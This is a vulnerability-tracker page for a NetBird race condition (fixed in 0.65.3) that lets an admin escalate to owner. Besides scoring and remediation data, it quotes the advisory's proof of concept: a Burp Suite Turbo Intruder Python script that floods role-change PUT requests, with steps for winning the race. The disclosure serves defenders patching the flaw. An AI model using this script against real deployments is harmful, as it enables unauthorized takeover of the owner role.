GHSA-rxmp-8h9v-56cx: NetBird has Race Condition on UpdateUser Function, Resulting in Privilege Escalation From Admin to Owner
Noroxi assessment
Priority: Monitor (action score 17/100)
- The sources we track (CISA KEV, Exploit-DB, Metasploit, Nuclei, GitHub) show no public exploit code or exploitation in the wild.
- Anyone who can reach it over the internet can trigger it. Administrator privileges are required. No user action is required. Special conditions such as timing or configuration are required.
- Fixed version: github.com/netbirdio/netbird (Go) 0.65.3.
Low priority for now. Upgrade to github.com/netbirdio/netbird (Go) 0.65.3 or later.
Generated automatically from the record's data: CVSS (NVD and CNA), CISA KEV and SSVC, FIRST EPSS, exploit sources, fixed versions. How we calculate it
Primary sources: OSV
## Summary A race condition vulnerability allows authenticated admin-privileged users to escalate to owner privilege. ## Details The vulnerability exists in the `updateUser` function, which is connected to the `/users/{userId}` PUT request. This function then calls the `SaveOrAddUsers` function, which checks the user's permissions on two separate occasions. The first check verifies whether the initiator is an admin or owner and rejects the request if the initiator is not. The second check retrieves the user role details from the database again and saves them in a variable called `initiatorUser`. ### `SaveOrAddUsers` Function **Location:** `netbird/management/server/user.go` — Line 556  Afterwards, the `validateUserUpdate` function is called, which checks if the initiator has permission to update that specific user's role. This validation is lacking, as it assumes the initiator is an admin or owner. In the case that the initiator is a regular user, these conditions do not apply, and the target can be updated to owner even when the initiator holds only a user role. ### `validateUserUpdate` Function **Location:** `netbird/management/server/user.go` — Line 862  In summary, if the initiator's permission is **admin** at the first check and gets dropped to **user** at the second check, the initiator can update a user to **owner**. ## Proof of Concept It is possible to create the following attack: The initiator (`old_admin`) creates two different accounts — one with a **user** role and another with an **admin** role. These will be referred to as `new_user` and `new_admin` from here on. Two different requests are needed: 1. **Request 1** — Using `new_admin`'s JWT, a request is created that changes `old_admin`'s role to **user**. 2. **Request 2** — Using `old_admin`'s JWT, a request is created that changes `new_user`'s role to **owner**. Both requests need valid user IDs and `auto_groups` group IDs. They should be sent simultaneously without waiting for prior requests to return. There is a very small time gap between the first and second permission checks, so multiple tries and multiple copies of the requests may be needed. During a penetration test engagement, privilege escalation was achieved by using **5 copies of Request 1** and **100 copies of Request 2** without waiting for any request to complete. The request that updated the role to owner returned **500** status codes instead of **403**, which when retried returned **200** and successfully applied the update. The following Burp Suite race condition script was used. Note that it may still require multiple tries, and the `old_admin` account role must be reset to **admin** after every failed attempt. ```python import time def queueRequests(target, wordlists): engine = RequestEngine( endpoint=target.endpoint, concurrentConnections=100, requestsPerConnection=100, pipeline=False ) # Request 1 req1 = """PUT /api/users/{OLD_ADMIN_USERID} HTTP/2 Host: CHANGE_WITH_HOST User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:147.0) Gecko/20100101 Firefox/147.0 Accept: application/json Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7 Accept-Encoding: gzip, deflate, br Content-Type: application/json Authorization: Bearer {NEW_ADMIN_TOKEN} Content-Length: 73 Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Priority: u=0 Te: trailers {"role":"user","auto_groups":[GROUP_ID],"is_blocked":false}""" # Request 2 req2 = """PUT /api/users/{NEW_USER_USERID} HTTP/2 Host: CHANGE_WITH_HOST User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:147.0) Gecko/20100101 Firefox/147.0 Accept: application/json Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7 Accept-Encoding: gzip, deflate, br Content-Type: application/json Authorization: Bearer {OLD_ADMIN_TOKEN} Content-Length: 52 Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Priority: u=0 Te: trailers {"role":"owner","auto_groups":[],"is_blocked":false}""" # Send first request engine.queue(req1) engine.queue(req1) engine.queue(req1) engine.queue(req1) engine.queue(req1) # Send second request for i in range(100): engine.queue(req2) def handleResponse(req, interesting): table.add(req) ``` ## Impact An attacker with an admin account on the self-hosted NetBird management application **v0.65.2 or lower** can escalate to owner privileges.
- Published
- Apr 1, 2026
- Updated
- Jun 25, 2026
- EPSS
- —
- CWE
- CWE-362
Report tools
Action score
17
Low priority for now.
- CVSS
- 17 / 40 · 4.4 / 10
- CISA KEV
- 0 / 30 · Not listed
- EPSS
- 0 / 30 · —
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| Vendor | Product | CPE |
|---|---|---|
| Go | github.com/netbirdio/netbird | pkg:golang/github.com/netbirdio/netbird |
Package-level exposure
OSV and GitHub Advisory data: ecosystem, package and range. SBOM matching uses this table.
| Ecosystem | Package | Affected range | Fix |
|---|---|---|---|
| Go | github.com/netbirdio/netbird | before 0.65.3 | 0.65.3 |
Same product
Go: all recordsOther highest-scoring records for the same primary product.
- GO-2026-5646NetBird has Race Condition on UpdateUser Function, Resulting in Privilege Escalation From Admin to Owner in github.com/netbirdio/netbird0Monitor
Remediation
Which version to upgrade to
Fix versions compiled from the vendor, package registries and Microsoft. Verify the vendor's note before upgrading.
| Product / package | Fixed version | Source |
|---|---|---|
| Go:github.com/netbirdio/netbird | 0.65.3 | Package registry (OSV) |
Exploit status
No known public exploit
No public exploit has been observed yet. That doesn't mean you're safe, only that the bar is a little higher.
Research context
For pentesters and researchers: attack profile, score disagreement, timeline, patch commits, credits, variant and chain candidates, bug bounty scope. All derived from existing data; no exploit code.
Timeline
From publication to today: proof of concept, Metasploit module, CISA KEV and fix record. Dates are as reported by the sources.
No dated events beyond publication.
Not on record for this CVE: EPSS history · patch commit or PR link · researcher credit · variant or chain candidate · public bounty program.
Technical details
Attack conditions
- Anyone who can reach it over the internet can trigger it.
- Administrator privileges are required.
- No user action is required.
- Special conditions such as timing or configuration are required.
If successful
- Confidentiality
- none
- Integrity
- high · data or configuration can be modified
- Availability
- none
- Attack vector
- Network
- Attack complexity
- High
- Privileges required
- High
- User interaction
- None
- Scope
- Unchanged
- Confidentiality impact
- None
- Integrity impact
- High
- Availability impact
- None
Weakness class (CWE)
CWE-362 · Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')CVSS vector
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:N/I:H/A:N
osv
Attack context
MITRE CAPEC attack patterns and ATT&CK techniques for this weakness class (CWE). A starting point for detection rules and threat hunting.
Attack patterns (CAPEC)
ATT&CK techniques
—
Change log (1)
- Fix✗ → ✓
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References
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Vendor advisories and official records. Exploit/PoC links are deliberately left out.